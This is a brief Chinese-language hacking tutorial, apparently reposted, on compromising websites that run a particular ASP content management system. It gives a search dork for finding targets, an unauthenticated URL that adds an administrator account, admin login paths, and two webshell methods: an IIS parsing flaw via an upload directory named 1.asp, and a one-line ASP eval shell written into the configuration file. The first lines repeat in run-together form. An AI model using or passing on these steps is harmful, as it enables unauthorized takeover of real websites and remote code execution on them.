作者:国芝翰娥264 | 来源:互联网 | 2017-11-11 17:27
作者:Sniff3rlan3a关键字:inurl:ShowInfo.asp?ShowId找到网站后然后在网站地址后加上:adminUser_Manage.asp?actionUserAdd进去添加一个管理员,然后用添加的账户登录。adminYqlogin.aspadminadmin_main.asp后台拿Webshell有2个方法。1.在
作者:Sniff3r & lan3a
关键字:inurl:ShowInfo.asp?ShowId=
找到网站后然后在网站地址后加上:admin/User_Manage.asp?action=UserAdd
进去添加一个管理员,然后用添加的账户登录。
/admin/Yqlogin.asp
/admin/admin_main.asp
后台拿Webshell有2个方法。
1.在上传目录那里 添加1.asp,利用IIS的解析漏洞。
2.在上传目录那里 写上
"%><%eval request("a")%><%'
然后访问配置文件 inc/config.asp